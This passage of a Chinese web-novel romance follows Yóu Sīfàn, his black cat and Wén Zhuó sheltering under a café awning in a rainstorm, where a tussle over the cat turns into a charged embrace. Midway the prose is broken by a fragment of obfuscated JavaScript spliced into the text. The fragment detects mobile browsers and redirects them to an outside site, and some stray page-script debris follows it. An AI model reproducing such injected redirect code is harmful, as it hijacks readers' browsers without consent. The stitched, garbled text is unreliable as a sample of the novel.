以他的角度,游司梵两侧垂落的鬓发半遮半掩,浓密似小扇的眼睫低敛,那张小巧白皙的面容在其中若隐若现。 闻濯看不清游司梵的完整长相,也看不见任何一丝名为故意的做作和卖弄。 少年只是听从他的指令,吃下他们一齐撕开的糖。 仅此而已。 暴雨铺天盖地,没有减弱分毫,一些细微动静被淹没,待游司梵戴好口罩,含着薄荷糖又一次抬起脑袋,便见闻濯垂下眼帘,单手整理口罩上方的鼻梁条。 “嗯?” 游司梵略显茫然地歪歪头,舌尖抵上口腔内侧的糖。 很甜,很清凉,像雨汽一样,形状与他触摸时一模一样,圆润可爱。 但是……闻濯怎么好像也吃了什么的样子? “糖纸给我。”闻濯看他一眼,眸中原本盎然的笑意变淡,情绪深沉,晦暗难懂,语气又退回不冷不热的疏离,似乎在克制什么,“我一道拿去丢。” 青年伸来接糖纸的掌心,赫然躺着另一块被撕碎的包装。 游司梵恍然大悟:“你也在吃糖!” “咦,我们包装和糖纸都一样,你也是吃薄荷味啊?唔……这个品牌的糖确实还挺好吃。” 他把自己的糖纸递过去,口罩之下,唇角高高扬起,闻濯可以从他眯起的眼尾判断笑容的高低弧度。 这是一个无人目视,却灿烂至极的微笑。 游司梵宛若一只吃到小鱼干的猫咪,餍足而狡黠。 “多谢你呀。” 闻濯默然几秒,才道:“嗯。” 他一并收起糖纸,再没有片刻前强势而暧昧的举动,规规矩矩,往避雨廊另一侧的废纸篓走去。 背影竟透出几分莫名其妙的无可奈何。 游司梵撑起脸,黑猫已经吃完一半的猫条半掉不掉,逗猫似的晃荡在脸侧。 黑猫舔完毛洗完脸,干干净净,俨然又成一位端庄大小姐,看见猫条一动,顿时精神抖擞,探出爪子就开始挠。 游司梵难得敷衍,仅仅是糊弄般抚摸它油光水滑的背,视线则一直黏在闻濯身上。 虽然不知道为什么那人突然冷下脸,又变回拒人千里的高冷样子,连吃颗糖都遮遮掩掩,不叫游司梵看见他摘下口罩的瞬间。 呵,小气鬼。游司梵鼻端哼出一声气音。但那人不开心,他就很快乐。 一种幼稚的胜负欲。 “那边雨好大呀——你快回来吧。”他特意拉长尾调,懒洋洋地呼唤闻濯,“我和小咪不待在那边是有原因的。” “那侧近玄关,靠门,进进出出,我容易打扰别人,别人也容易吓到我,你看这边多好,还个石墩可以蹲着,没有人会影响我和猫交流感情。” 话至此处,游司梵瞥闻濯一眼。 青年已然折返,像一位跨越山水书卷的文人墨客,面色冷然似玉,淡淡朝游司梵走来。 “哦,除了你。每个路过想躲雨的人都已经被我劝进书咖,只有你……哼。”指尖犹然残余闻濯缱绻的热温,而今主人又重新回归自己身边,冷香再次悄然充斥空气,游司梵面上一热,指责的话语不由自主,渐渐弱下去,“不撞南墙不回头,一定要过来我身边。” “喵呜!” 黑猫终于碰到猫条,肉垫却好像触到什么脏东西,神经质般将塑料外装一把挥开。 游司梵不管事实如何,只当有人附和他:“你看,连小咪也认同我的观点。” 这大话一出口,游司梵已经设想好闻濯反驳的画面。 在他脑海演练的预案里,只要闻濯透露出半点不赞同和疑惑,他就…… “喵!喵喵喵!” 不料人算不如天算,变故横生。 黑猫大叫,一巴掌又刮过去,正正打上猫条宣传语中心。 “挚爱”二字被来自猫的大耳刮子拍得下凹。 像是专门瞅准时机,狠狠打饲养员准备纵横捭阖的脸。 游司梵:“……” 游司梵无奈搓揉猫脑壳,完全没空留意闻濯走至自己身侧的行为。 除去偷猫和强制性给糖的恶行,闻濯实在太像一位端庄自持的君子。 游司梵实际上完全不设防。 直觉警示他,闻濯很危险,但记忆和触觉也告诉他,也许你曾经……见过这个人。 并且彼此相当熟悉。 也许就在某个陈旧的街角。在一座破落枯萎的花坛前。 拉手。拥抱。谈论今日有趣的见闻。交换自己最喜欢的小零食。 谁会愿意警惕最信任的人? 反正游司梵绝对不会。 但他没想到,闻濯没有再顾及社交时应当保持的合适距离,而是长驱直入,直接站至他身侧。 离石墩不到二十公分。 这个极其贴近的距离,足够让闻濯展开臂膀,无须经过允许和同意,便完全拥抱他。 尚且深陷哄猫困境的游司梵无知无觉:“怎么在生气啊?” “不喜欢这个口味的猫条?”游司梵眉心微蹙,观察黑猫看不出神情的猫猫脸,“还是它开封有点久,没有第一时间吃完,你就生气了?” 游司梵视线来回搜寻,终于在猫爪爪边上发现一撮微湿的绒毛。 他灵光一闪,感觉自己火眼金睛,看破黑猫不高兴的小心思。 “原来是因为我的怀抱和保护不严实,雨又太大,不小心淋湿你的毛吗?……” “对,这侧的雨确实很大。” 一道冷冽男音响起,打断游司梵的推论。 碎碎念的呢喃霎时静下,闻濯理性而富有条理的叙述回荡在游司梵身边。 “最初我过来,是因为看见你短裤有点湿,想提醒一下,避雨廊并不是一处绝佳的躲雨地点,你这样淋雨恐怕会感冒。”闻濯面色淡然,执伞的手倾向游司梵,相当自然,鸦羽似的长睫无波无澜,没有颤动半分,但谁也看不见他微微泛红的耳根,“你说的很对,是我不撞南墙不回头,明知你可能会觉得冒犯,但我还是想试试,抱歉。” 黑猫停下爪子攻势,游司梵讶然侧首,看向近在咫尺的闻濯。 青年一向挺拔的脊背稍稍躬下,不过是谈论几句话的盏茶时间而已,他肩头衣料已然被作乱的雨打湿,隐约透出轮廓分明的肌肉。 他将三分之二的伞侧向游司梵,为少年和他的黑猫遮风挡雨,在仿若淹没整个世界的暴雨中不再顾及自己,辟出真正的桃源。 游司梵呼吸一窒。 比起狂风暴雨,闻濯的眼眸更似令人一去不复返的深渊。 足以撕碎他未经世事的魂灵。 “——请问,我可以为你撑伞,遮挡那些无法预测的雨滴吗?” 他愿意吗? 游司梵忘记了。 他不知道自己最后回答了什么,但大抵是同意的,或者是默认。 当他回过神,黑猫已经收敛脾气,又做回矜持大小姐,就着饲养员的姿势,继续舔舐猫条。 而游司梵自己则待在伞下,舌面无意识地卷吃那颗薄荷糖。 冷香一如既往,萦绕在这方小小天地,伞面之下,全然是闻濯特有的气息。 他甚至不用故意确认,转头去看,就能知晓闻濯还在身侧,没有食言离去。 他还在为他撑伞。 咔嚓。 游司梵齿关一合,咬碎糖体的一角。 仿佛是一个意味着清醒的信号,街对面的霓虹灯牌闪闪烁烁,色彩冲破雨幕的隔阂,直白坦诚地现于游司梵眼前。 雨声依旧淋漓,天气预报说的“雨势将会逐渐变小”仿佛成为谎言。 哗啦—— 水珠从天际的雨云落下,又在柏油路面粉身碎骨,轰轰烈烈的嘈杂纷繁且复杂,但游司梵就是觉得世界极其安静。 喧嚣的静谧里,他和闻濯一高一低,一站一蹲,共撑一把伞,唇齿同时品尝两粒大小一致、味道相同的糖。 好奇妙啊。 游司梵笑了:“哎。” 他没有直接呼唤闻濯的名字,没有用“你”,而是含糊而过,轻轻唤一声。 他们没有交换名姓,只是见过两面的陌路人,并不存在知根知底的必要。 或者说是,曾经十指交缠的“陌路人”。 果然,闻濯知道游司梵在叫他。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13151587|130940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “嗯。”闻濯应道。 这个单独的字音凭空现于游司梵斜右上方,利落又短促,踩着雨水汇聚的轨迹,一齐融入路面涓涓的暴雨流水。 “其实……”游司梵目视前方,看着雨水奔涌,陆上河流逐渐形成,“我刚才说谎了,你昨天给我的毛毯……还没洗。” 最后三个字压得很低,狗狗祟祟,像要告诉闻濯真相,又像在害怕闻濯当真听清楚事实。 相当矛盾。 闻濯微微勾起唇角:“嗯。” 没有指责,没有翻脸,没有反问“你说什么?我怎么没听清楚?”,伞还好端端地挡于头顶,角度分毫未改。 试探过关! “至于拿猫条当租金这事,呃!真的,真的不是想敷衍你,是不小心拿错,”游司梵有些懊恼,话语逐渐放开,忽略怀中黑猫左拧右拧的躁动,“十块钱其实也是应急,我都没想过你会承认……但你怎么真的答应了?” “可能因为我是个好人?喜欢路见不平,拔刀相助。”闻濯轻笑一声。 游司梵怀中,黑猫耳尖前后弹动一瞬。 闻濯甚至戏谑地为游司梵递去台阶,不至于把人架起,又一次下不来台。 “……”游司梵无语凝噎,狠狠剐闻濯一记眼刀,想用眼神吓退这脸皮比城墙还厚的人,“嗯!对!好人!” “是坑蒙拐骗,专门偷走小猫的好人!”游司梵言语带出几分真切的怒意,但还是装模作样的恐吓居多,“要不是看在你后续表现尚可的份上,我根本不会原谅……” “……咪呜!” 游司梵单方面向闻濯宣战之时,黑猫一跃而起,彻底跳离饲养员怀抱。 这是一个极为漫长的瞬间。 黑猫具有良好的跳跃力,无论是后腿还是前肢,尽管逐日丰盈的脂肪包裹它的肌肉,但它仍然是一只正当壮年,矫健有力的青年猫咪。 黑猫优美而富有力量感的腾越定格于游司梵视线。 它好似草原上尽情奔跑的猎豹,义无反顾,奔向它心灵真正向往之地。 而当时当下,黑猫想要的不是游司梵,而是被饲养员视为卑劣之流的—— ——闻濯。 游司梵伤心欲绝。 游司梵目眦欲裂。 游司梵快要妒忌地发疯。 口罩掩盖下,他的唇齿还在吐纳“道歉”二字,口腔已然张开该有的弧度,稍显扁平的音节停留在喉间,将发未发,确保闻濯可以清楚听见他要表达的内容。 但一切显然成为笑话。 他的黑猫没有把小脸对准他,留给他的,唯有后爪粉色的肉垫。 像小小的桃心。 它把饲养员当做跳跃的助力,一撑一蹦,肉垫一触即离,如同临空踹游司梵一脚,去向有着好闻气味的闻濯。 “喵——!” 随着一声字正腔圆的喊叫,纵跃结束,煤气罐罐顺利着陆闻濯惊讶的怀抱。 闻濯要执伞,只有单手能够抱它。 但对于黑猫而言,足矣。 它立马成为新领土的帝王,相当自来熟,爪尖勾上那些异常昂贵的定制衣衫,依次经过胸肌,锁骨,最后“嗖嗖嗖”攀上闻濯肩头。 根本不用人抱,自力更生。 “咪喵!” 它昂首挺胸,居高临下看着游司梵,浑身上下仿佛与黑伞融为一体,唯有湛蓝的瞳孔得意洋洋。 游司梵:“……” 游司梵:“…………” 游司梵:“你,不是,你,你怎么敢……唉!就是看我舍不得骂你!你啊……!” 少年眼眸亮得好似星辰,竟也从石墩一跃而起,不管不顾地扑向闻濯! 难以言喻的混乱就此拉开序幕。 闻濯只来得及抛开长伞,伞骨都还未接触地面,游司梵人就已经到了。 吃到一半的猫条被抛下,不知道凌空丢至哪个水潭,游司梵怒气冲冲,在极为短暂的腾空后,八爪鱼般抱紧闻濯的身躯。 这是他唯一的着陆点。 黑猫好像把闻濯当做猫爬架,一个劲往上蹭,但闻濯又比游司梵高出太多,情急之下,游司梵居然想不出第二个比现在更好的办法。 他下意识忽略让闻濯配合,他们二人一起制伏黑猫的可能性。 开玩笑!有前科的偷猫贼根本不可信! 这人就站那,什么罐头,猫条,身上通通没有,他们嘴里吃的糖一模一样,闻濯顶多就是比自己多出一把伞。 但猫就是铁了心喜欢他!只想和他亲近! 凭什么! 游司梵单手搂紧闻濯的脖颈,双腿夹紧对方紧实有力的腰腹,冲黑猫伸出手,喊道:“没有规矩!我平时怎么教你的,怎么可以这样不懂礼貌?招呼也没打就爬到别人身上去,快下来,跟我回家!” 他的臂膀紧贴闻濯绷紧的颈侧,好像还压到动脉,急促跳动的脉搏一鼓一鼓,将热度和韵律传递至他的心房。 闻濯在紧张。 那段劲瘦的腰腹猝然收紧,却仍旧无法抵御源自少年的柔软攻势。 游司梵只是单纯地抱着他,是,也许他的姿势是有那么一些过分,和一个刚刚交谈不久的陌路人紧密相贴,不留任何缝隙,哪怕以海纳百川的视角来看,也值得一句“非常大胆”“非常open”的称赞。 少年的大腿柔软而坚韧,那些视觉上看似软和的,蹲下时互相挤压而嘟出的腿肉,并不像真正的棉花一样松软。 游司梵的生命力蓬勃而旺盛。 他的肌肉使他有力气夹紧唯一的支撑点,勉强稳定自己的身子,去够那只调皮捣蛋的黑猫。 难受和受罪的,好像唯有闻濯。 青年暗自咬紧牙关,竭力忽略游司梵胡乱挥舞的手臂。 夏天穿的少,衣着清凉,短袖和短裤露肤度高,与之相应的,游司梵每一次和黑猫博弈,都在反复和闻濯肌肤相贴。 尤其是他的衣衫已经被雨水淋得半湿,夹杂体温的蒸腾,全然转作粘稠淋漓的暧昧。 摁着闻濯忍耐的底线摩擦,来回蹦跶。 两个人都衣着齐整,情况却好像糟糕透顶。 闻濯的手极其僵硬,奇奇怪怪地圈成半圆,在游司梵腰间和臀部之间来回徘徊,硬是找不到足够合适的落点。 无论哪里都很冒犯。 背部无法着力,臀尖最好,后腰其次,稳稳托住一个重物的本能,篆刻在人类的基因。 闻濯太明白如何才能保证游司梵不掉下去,但他做不到。 画面有些滑稽,体型单薄的少年挂在青年胸前,青年手足无措,神情难得露出烦躁和踌躇。 二人间竟隐隐僵持起来。 “喵嗷。” 黑猫不听游司梵威胁,甚至优哉游哉,四肢交替,轻而易举地从闻濯左肩绕到右肩,避开游司梵因为生气而落点偏移的手。 游司梵深吸气,大腿绷紧,腰部用力,硬生生凭靠几乎没有的核心力量,把自己往上抬高一截。 他平时缺乏锻炼,能够从石墩跳到闻濯身上,又紧紧缠着不掉下去,已经是在吃跑操时强行练出来的老本。 很快便要消失殆尽的那种,他能感觉到自己的大腿肌肉在颤抖,准备罢工。 “这人到底有什么好的,你非得这么惦记他?他有猫条吗?他有罐罐吗?他什么也没有!他身上只有人类才能吃的糖,这玩意小猫不能吃!”危机感使游司梵更加着急,语速飞快,“你乖,赶紧下来呀!” 暴雨时候的气温总是要较平时低一些,水挤占高温的漫延,万事万物仿佛共同染上来自液体的冷淡意味。 然而今时今日,这一切非得没有降温,反而将游司梵在闻濯颈侧吐纳的气息衬托得更加明显。 灼热的,粘稠的,急促且湿润的。 少年口中道出的每一个字,都像一把温柔刀。 天真又残忍,骤然抵上闻濯岌岌可危的理智。 31.被人撞破暧昧现场 闻濯额角青筋暴起,青蓝色的血管在他冷白的肌肤上尤为显眼,如若一种具现化的躁动,昭示主人的欲念近乎决堤。 但他还在忍耐。 游司梵并未真正毫无隔阂地贴上闻濯,少年下半张脸被口罩包裹,柔软的脸颊肉隔去一层不算粗糙的无纺布,吐息的灼热也大多被口罩阻隔在内。 闻濯远远不该如此失态。 那些急切的,仿佛撒娇一般的言语已经被削弱,他能感受到的,不过是一些粘稠的吐息余韵。 相较游司梵整个黏在他身上的躯体,以及那些紧紧发力,死死抱住他的臂膀与大腿,这点呼吸的余韵简直可以忽略不计。 只是这样而已,没什么好在意的…… “唔!” 闻濯微微敛目,狼狈地侧首,略显僵硬的手霎时紧握成拳,臂膀的肌肉线条凌厉又流畅,端正整洁的衣衫因为快速扭动而泛起褶皱。 他无法呼吸般昂起下颌,脖颈于衣领之下爆出一瞬凸起的经络,喉间溢出一声辩不出含义的低唤,晦暗至极,难耐又隐忍。 闻濯分明衣冠端正,所有该穿的衣服都好好穿着,此刻却在某种意味上糟糕透顶。 这一切的源头,都来自扒拉在他身上的少年。 闻濯只是一位于廊下避雨的旅客,却在不经意的刹那,被不属于他的热烈缠上魂灵。 自此再无拒绝的可能。 游司梵浑然不觉,又使劲往上一蹿,戴着口罩的脸颊再次狠狠蹭过闻濯的侧颈,抬着脑袋伸手去够黑猫。 “小咪!听话!不要恶作剧了!”游司梵喊道。 他并不知道因为摩擦的阻力,自己的口罩已然往下滑落一截,鼻梁条落至鼻尖,三分之二的面容曝露空气之中。 包括因为生气而极度嫣红的颧骨。 黑猫睥睨游司梵潮红的脸,尾巴尖尖优雅地团在脚边,又一次轻易躲过饲养员的抓捕:“喵。” 叫声轻盈短促,游司梵硬生生听出来几分洋洋得意。 他怒从心中起,气性上头,箍住闻濯后颈的手一紧,臂弯一夹,使出浑身解数也誓要碰到黑猫! 闻濯鸦羽似的长睫猛然一颤。 游司梵身体大幅度蹭上闻濯的躯体,二人紧密相贴,再没有一丝缝隙,像两个难分难舍的树袋熊。 雨势很大,雨滴噼里啪啦,接连不断敲击闻濯的听觉神经。 可这无论如何也比不上游司梵急促鼓动的心跳。 怦怦。怦。怦怦怦。 这些恒定且温热的震动从另一具近在咫尺的躯体传来,柔软地叩向闻濯心乱如麻的感知。 少年的心脏快速搏动,带动血液的奔流,隔去夏日的短袖和肋骨,清晰地将悸动传递予闻濯的胸腔。 急促而无言的,生机勃勃的,貌似紊乱却自有韵律和节奏的。 怦怦。怦怦怦。 他们在共振。 滴答—— 在某个瞬间,避雨廊的檐角坠下一粒平平无奇的水珠。 噼啪! 一块硬币大小的深灰色圆点在闻濯后肩绽放,动静很快被炽热高温的□□所融化。 然而如同被凌空而降的雨滴惊醒一样,闻濯结实有力的肩背蓦然绷紧,仿佛在承受巨大的触感和压力。 但雨滴不过是像它层层叠叠的前辈,继续浸湿青年那早就半湿的衣衫而已。 闻濯晦暗不明的眼眸风起云涌,划过极为难耐的欲色。 黑猫蹲坐在他的肩头,它健硕圆润,自身重量扪心自问,和轻盈二字并无关系,闻濯可以很明晰地感受到它绒绒的皮毛,和猫爪子为了不掉下去,异常用力的攀抓。 它重量不轻,但不值一提。 闻濯的感官好似被那滴不合时宜的雨彻底激发,空气的氧分子变得稀薄,难以呼吸的窒息感充斥他的咽喉,一切的湿润和暧昧化作枷锁,倾轧过他每一寸肌肤,每一根神经末梢。 混乱。黏稠。涌起又压下的黑暗念头。幕天席地的暴雨。冰冷和赤热交杂的天堂与地狱。 他是一触即发的烟火,而引爆所有的引线,掌握在咫尺之间的游司梵手里。 闻濯额角虬曲的青筋鼓起一瞬又再次落下,重新隐没于遮盖一切的冷白肌肤。 “……下来。” 闻濯哑声道。 他竭力忽视游司梵的作乱,手臂虚虚拢上对方后腰,克制地停留在半寸之外。 没有明确的指示语,不明不白,也不知是在对猫还是对游司梵说。 不料游司梵想也不想,全力忙于与黑猫博弈,根本没在意是谁在对他说话,语言中枢直接替大脑做出回应。 “闭嘴!不许打扰我抓猫!”游司梵伸直手臂,将将碰到黑猫圆嘟嘟的前爪,“我才不要下来,那就前功尽弃了!” 没想到拒绝来的如此快,如此决绝,如此不留情面的闻濯:“……” 游司梵语速又快又急,唇齿张合利落而干脆,偏偏有一阵清冽香甜的薄荷糖味交杂着散出,削去言语的厉色,平白多上几分近似撒娇的意味。 那阵香甜零零散散,却也不容忽视,透过口罩而来,飘忽,难以捉摸,像勾人心弦的彩蛋,为闻濯本就纷乱的思绪添砖加瓦。 游司梵像一个对恋人装作生气的少年,待在闻濯怀里,怎样都不肯离开。 他和闻濯含着的那粒薄荷糖一样强硬,如果不用齿尖惩罚般慢慢地厮磨,它不会碎,也想不起来害羞。 “喵嗷!” 黑猫又开始来回闪动,从左肩到右肩,又从右肩紧急拐弯腾挪至右肩,如同一个灵活生动的大型逗猫棒,引得游司梵跟着胡乱伸手去够。 “你下来,我就给你开新的猫条!之后给你带小鱼干加餐!但小咪你要是还这么不礼貌……”游司梵恩威并施。 猫不相信,还用爪子作势拍打游司梵张开的掌心:“咪呜!” 场面一度极其混乱。 雨声、猫叫、少年的谈判,一切声响纷乱而复杂,细密地填满暴雨中难得静谧的书咖避雨廊。 闻濯面无表情,齿关轻咬薄荷糖,舌面接触的糖体一如既往,凌冽而缠绵。 他仿佛成为猫与人共同博弈的舞台,黑猫的步伐乱七八糟,在肩头玩起巡回游戏,而他的脖颈和腰腹,则被游司梵越勒越紧。 在愈发浓郁的清香里,闻濯黑沉晦暗的眼瞳露出些许无奈。 又一滴雨珠坠下肩膀的瞬间,他低叹一声。 算了。 闻濯僵持已久的臂膀微微一动,不再徒留地保持克制,冷淡且疏离,停驻于相对合适的社交距离。 他反而现出一种破罐子破摔的意味,逐渐接近游司梵不那么安分的后腰。 算了。闻濯垂下眉眼,感受着游司梵紧紧绷起却隐约颤抖的腿肉,知道少年已是强弩之末。既然他叫他闭嘴,那他也不多费口舌,到时候顺手接一下就好—— “——咦!?” 仓皇失措的惊呼乍然响起,不受控制的下坠巨力袭来,闻濯的后颈顿时弓起一道流畅而充满力量感的弧度。 游司梵大腿终究失去力量,一直夹紧闻濯腰腹的腿松开了。 刹那间,二人相贴的支点唯独剩下脖颈。 一切事情的发生突兀至极,难以预料,游司梵还没来得及反应过来,鼻尖就擦过闻濯脖颈凸起的经络,那些柔软而坚韧的触感转瞬即逝,他戴着口罩的脸又狠狠顺着接踵而至的布料往下蹭,火辣辣的摩擦感漫延开来,但最悲惨的结局仍未到来。 没有人可以摆脱地心引力的惯性,而且游司梵的臂膀,也快抱不住闻濯的后颈。 他看见自己疏于锻炼的小臂绷出青筋,已经使出最最压箱底的气力,指关节和血管发白,昭示主人已然使出浑身解数。 但大厦将倾,于事无补。 重心完全偏移,没有着力点,游司梵像一个荡在半空的可怜孩子,前不着村后不着店,苦苦等待命运的嘲讽和审判。 他此时此刻只想闭上眼睛,不去面对注定摔个屁股墩的狼狈结局。 天啊……在这人面前连着出糗,还不如杀了他算了! 游司梵生无可恋,脑海飘过极其羞恼的一行大字。 但这个瞬间太短太短,他甚至连完全闭上眼睛都做不到。 游司梵只能清醒地感受自己的失态,杏眼圆睁,目视因为身体角度变化,而不断进入视线的景致。 天际灰沉的积雨云,好,然后是书咖光洁明亮的落地窗,玻璃又宽又大,折射出远处五颜六色的霓虹灯牌,接着轮到避雨廊弯弯翘起的檐角。 向下倾斜的檐角是泄雨的好物,黄豆般大小的雨滴落下又溅起,一滴在空中分作二三零碎,汇入几乎形成珠帘廊下雨幕。 坠下,坠下,它们在半空滞留的瞬间何其短暂,但居然与游司梵即将摔落的过程,相差无几。 原来雨水落地的速度这么慢吗? 在失重感马上达到顶点时,游司梵苦中作乐,心里冒出更加不合时宜的念头。 反正脸面已经所剩无几了。听觉捕捉到雨滴彻底坠地的噼啪声,他反倒强行坦然起来,拥有直面狼狈的勇气,视死如归一般看着自己快要脱力的手。 不就是摔跤吗?再丢脸还能怎么丢?还能比用猫条当租金更丢人么!往好处想,屁股着地也总比头先着地安全,放宽心放宽心放宽心…… 游司梵拼命安慰自己,准备迎接屁股摔成八瓣的惨烈人生,双手于催眠似的暗示中终于不堪重负,软绵绵地松开。 “啊……!” 然而无可着力的失重感终结于一双大掌。 ——骨节分明的大掌,稳稳托住游司梵的臀尖。 这是一个怀抱极其亲昵的恋人或家人时,才会使用的姿势。 通常用于成年人拥抱七岁以下的幼儿,现下却被闻濯因地制宜,施展至游司梵身上。 仅仅是第二次见面的“陌生人”。 无论对于闻濯还是游司梵来说,都太亲密,太超过了。 大掌炽热而温暖,透过夏日短裤相对单薄的棉质布料,将稳稳的热烈温度传递给游司梵毫无防备的臀腿。 闻濯掌心和游司梵几乎可以算是毫无隔阂,短裤布料的存在简直是火上浇油,分明应该是作为阻隔的作用,它也确实阻隔了臀腿和源自外人的大掌,却硬生生让游司梵在清楚感知到闻濯指腹的薄茧后,又体会到什么叫自作孽不可活。 闻濯指尖略微一动,短裤极为宽松的布料也跟着动,泛起褶皱,片刻前掌心相贴的暧昧相比之下不过是入门级别,那些曾经充斥游司梵每一条神经末梢的痒意,根本比不上如今海啸般的酥麻。 游司梵是风雨里无可依靠的船舶,被汹涌的浪潮高高抛起,而闻濯作为掌舵人,偏偏把他往风雨正中心驶入,一手把控他所有的感知和情绪。 好热……好痒! 闻濯的指骨哪里动了,哪根平摊托举的手指更用力,甚至掌心是否正在变得更加灼热,预备渗出细密的汗,游司梵都一清二楚。 他恨不得自己没有穿裤子出门! 这穿了比没穿还要难受,还要糟糕! 他们明明只是简简单单地抱着,彼此的衣冠整整齐齐,姿势或许发生一些主导性的改变,也只是从游司梵扒拉闻濯,变作闻濯托举怀抱游司梵而已。 黑猫四爪用力,在前倾的惯性中牢牢抓紧闻濯身上那件名贵的定制衬衫,湛蓝的眼眸充斥猫科动物特有的野性,盯着满脸不可置信的游司梵。 “啊!我,我我……你……” 游司梵语无伦次,有心想叫闻濯别抱了,好痒,又开不了这个口,结结巴巴,吐出一些不成句子的词语。 闻濯没有在意黑猫对自身衣衫的摧残,他注视游司梵咫尺之外的面容,看见黑色口罩在少年脸上七扭八拐,将将挡住余下三分之一的脸庞,鼻梁却印出好大一片红痕,不再被遮挡的颧骨也逐渐泛起可疑的潮红。 “……唔。” 在闻濯沉静的视线里,游司梵唇齿张合,发出几个不成调的无意义音节,最终默默闭上嘴,舌面狠狠舔过方才慌乱中撇至口腔角落的薄荷糖。 他觉得自己的脸要烧起来了。 闻濯的眼瞳深邃而幽黑,如同一潭深不见底的静水,情绪隐藏在看似无波无澜的表层之下,游司梵可以看见里面翻涌的晦暗,却读不懂其间难言的躁热与复杂。 是无奈?审视?判断?揣摩?还是想把他这个麻烦制造者扔下怀抱,一走了之? 好像都不是,又好像囊括世间一切七情六欲。 游司梵暂时使不上劲儿的手仍然搭在闻濯颈后,脱力的指尖挣扎般颤动一瞬,轻轻掠过闻濯干燥温热的脖颈肌肤。 只是一个毫无新意的简单动作,不足为奇。 难以言喻的酥麻却霎时充满闻濯全身。 被他抱在怀里的游司梵身躯一动不动,杏核眼耷拉下来,弯成委屈的弧度,黑棕色的瞳仁泛起水光,不知是着急时候溢出的生理泪水,还是暴雨侵染后的水汽朦胧。 少年乖巧地任由他怀抱,保持一个相当过界的亲密姿势,仓皇时歪斜的衣领大敞,露出大片锁骨和白皙的肌肤。 往下的剩余风光,无人可窥。 也许这件被游司梵选中的夏季短袖质量并不太好,失去弹性的领口略微老化,发白,却又像他的人一般软绵,毫无攻击性。 游司梵呼吸尚未平静,胸膛在急促起伏。 那些过于白皙的皮肤舒张又落下,带着心脏勃勃鼓动的节奏,与主人粘稠的灼热气息一齐,传给闻濯的感官。 但就是这样一位毫无攻击性的少年,敢再次越界,触碰闻濯自己也极少抚摸的后颈。 游司梵的指尖还未离去,玩弄似的一碰一离,像闲暇时发呆做出的下意识动作,又像把闻濯当做玩具,坏心眼地故意撩拨。 从后颈伊始的酥痒蔓延至脊椎,一路往下,烟花般轰烈炸开,在闻濯体内燃起熊熊烈火。 闻濯面色一沉,耳尖悄悄涌起不常见的红晕。 游司梵触碰的频率成为节拍器,暂且离去时,闻濯尚可强行压制那些亵渎般的躁动和欲念,但一旦卷土重来,刹那间一切前功尽弃,克制和冷静变作笑话。 游司梵普普通通的一蹭,甚至没有抚摸除去后颈以外的其他肌肤,已经足够在闻濯体内掀起一场又一场滔天巨浪。 他再也无法忍耐了。 闻濯顾及黑猫蹲在肩头,收着力道,指骨微蜷,掌心略略一使劲,向上轻轻一颠—— “什么……嗯!” 失重感再次袭来,游司梵眼眸圆睁,口中溢出一丝惊呼,脱力的臂膀随惯性向前一伸,木偶般晃荡几下,在半强制的力道下,离开可以触碰闻濯脖颈的范围。 闻濯只感觉到游司梵的臀腿如同棉花一样柔软,那些因为掌心收紧而堆挤一处的软肉手感极佳,包裹在运动短裤的棉质布料里,像高端超市里包装完好无损,任君挑选的水蜜桃。 这很亲昵,也很冒犯。 按照常理,他早该放手,并风度翩翩地向游司梵道歉。 ——“抱歉,一时情急,为了让你不摔倒,只好做出无奈之举,冒犯了。” 这是闻濯理应在此时说出的言语,但他心尖一颤,面上却不动声色,掌心却故意多添一分力道,踩着或许不那么冒犯的社交底线,神使鬼差般与游司梵的臀腿贴得更紧。 这已然完全是私心了。 “……”游司梵别过脸,像被火星子撩拨的猫,恶狠狠地瞪向闻濯,“你居然……你,你……!” 不知是不是他的错觉,游司梵将未完全成型的斥骂道出后,竟觉得屁股下稳稳托着他的大掌又热上几分。 闻濯的姿势很巧妙,确实是完全拥抱他的臀与腿,但也完美避开所有可能更冒犯的部位。 他们只是在单纯地拥抱而已。 游司梵现下和他接触的,亦不过是一些同先前的两手相贴无甚区别的肌肤。 一样的普通,一样的常见,甚至比握手更保守,还隔去一层不如不存在的运动短裤! 天啊! 游司梵越想越不对劲,却万万不敢主动扭动臀腿,只好用尽一切力气,小心翼翼直起腰背,好歹先和闻濯拉开距离,不至于上半身紧密相贴,远上微不足道的两公分。 他腿晃荡在半空,毫无着力点,又不愿再重蹈覆辙,夹紧闻濯的腰腹,唯有走一步算一步,先远离稍许再说。 离开两公分也是摆明态度!游司梵咬紧牙关。 闻濯方才作乱的大掌没有再动,目光又恢复成游司梵看不透的沉静,好似突然为难的癫狂劲只是错觉,如今已经烟消云散。 青年就如此宁静地凝望少年,仿佛气度无限宽广,足以容纳游司梵想要去践行的一切,全然不惧他突然翻脸,从此离开。 在他们都没有留神的天际,灰暗的天光一如既往,原先铺天盖地的暴雨渐渐变小,街道的柏油路面暂且汇聚的溪流逐步散去,纷繁嘈杂的雨声慢慢隐没于城市的喧嚣。 这场突如其来的,将游司梵困在原地的雨,正在走向尽头。 然而游司梵只在专注远离闻濯,因为实在太有难度。 身前这个只见过两面的青年拥有极其宽阔的胸襟,精神上的,游司梵持有怀疑态度,但若论现实中的,他再怎么讨厌闻濯的过分行径,也舍不得冷下脸去斥骂这具无可媲美的健壮身躯。 ……游司梵承认,闻濯的胸肌真的很舒服。 极其富有弹性的触感,张弛有度的肌肉,足够埋两个游司梵脑袋加一个黑猫脑袋的肩膀宽度。 宽肩窄腰,爆发力惊人,一看就拒人千里,难以接触,偏偏之前吃错药一般任由游司梵扒拉,把自己的躯体当做温柔乡,完全不排斥游司梵的亲近。 游司梵突然感到心虚:“……” 就算、就算是他开启的乱子又怎么样!他一时情急,因为黑猫的投敌,着急挽回,做错事情,也不意味着闻濯可以随便玩弄他的臀腿! 哪怕没有乱摸,只是安安分分地接触正常肌肤,出发点是保证他不摔下去也不行! 别以为他不知道他的掌心在偷偷用力! 